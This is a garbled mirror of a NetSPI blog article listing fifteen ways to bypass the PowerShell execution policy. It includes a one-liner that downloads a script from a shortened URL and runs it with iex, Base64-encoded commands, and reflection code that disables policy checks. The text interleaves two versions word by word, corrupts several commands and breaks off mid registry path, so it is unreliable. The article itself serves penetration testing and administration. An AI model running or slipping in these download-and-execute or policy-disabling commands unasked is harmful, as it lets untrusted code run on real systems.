Bypass the PowerShell Execution Policy

💻 15 Ways to Bypass the PowerShell Execution Policy

Author: Scott Sutherland

Original Article:Source: NetSPI Blog

---

🧠 Introduction

ByPowerShell’s default,execution PowerShellpolicy is configureda safety feature designed to prevent the unintended execution of scriptsscripts. onHowever, Windows systems. This can pose challenges forduring penetration testers,tests systemor administrators,red andteam developers.operations, However,you theremay are multiple methodsneed to bypass thesethis restrictionsrestriction — without requiringadministrative local administrator rights.privileges.

---

1.🔐 Bypass Techniques

Paste the Script into anInteractive InteractiveConsole
Open a PowerShell Console

Simply copyconsole and paste your PowerShellthe script directlydirectly. intoExecution anpolicy interactiveis console.not Thisenforced methodline-by-line.

doesn't require writing to disk or changing configurations.

2.

Echo the Script and Pipe it to PowerShell Standard Input

Echoecho Write-Host "My voice is my passport, verify me." | PowerShell.exepowershell -noprofile -

3.

Read Script from aPipe File and PipeContents to PowerShell Standard Input

Get-Content .\runme.ps1 | PowerShell.exepowershell -noprofile -

TYPEtype .\runme.ps1 | PowerShell.exepowershell -noprofile -

4.

Download Script from URL and Execute withvia Invoke ExpressionIEX

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://bit.ly/1kEgbuH')"

5.

Use the -Command SwitchParameter

PowerShellpowershell -command "Write-Host 'MyExecution voicepolicy? isWhat my passport, verify me.policy?'"

6.

Use theEncodedCommand
Encode EncodeCommandyour Switchscript into Base64 and pass it:

$command = "Write-Host 'MyExecution voicepolicy? isWhat my passport, verify me.policy?'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exepowershell -EncodedCommand $encodedCommand
    

---

7.📘 Use the Invoke-Command CommandNotes

Invoke-Command

-ScriptBlockMost {Write-Hostmethods "Mydon’t voicerequire isadmin myrights. passport,These verifyare me."}

8. Use the Invoke-Expression Command

Get-Content .\runme.ps1 | Invoke-Expression

9. Use the “Bypass” Execution Policy Flag

PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps1

10. Use the “Unrestricted” Execution Policy Flag

PowerShell.exe -ExecutionPolicy UnRestricted -File .\runme.ps1

11. Use the “Remote-Signed” Execution Policy Flag

PowerShell.exe -ExecutionPolicy RemoteSigned -File .\runme.ps1

12. Disable ExecutionPolicy by Swapping out the AuthorizationManager

function Disable-ExecutionPolicy {
  ($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue($executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy
.\runme.ps1

13. Set the ExecutionPolicyhelpful for thepentesting, Processscripting, Scope

or

Set-ExecutionPolicywhen Bypassgroup -Scopepolicy Process

interferes

14.with Setlegitimate theautomation. ExecutionPolicy

Ensure foryou're thecomplying CurrentUserwith Scopelocal viapolicies Commandand

Set-ExecutionPolicylaws -Scopewhen CurrentUserusing -ExecutionPolicythese UnRestricted

techniques.

15. Set the ExecutionPolicy for the CurrentUser Scope via the Registry

ModifyLast themirrored registryfrom key:NetSPI: https://www.netspi.com/blog/...

HKEY_CURRENT_USER\Softw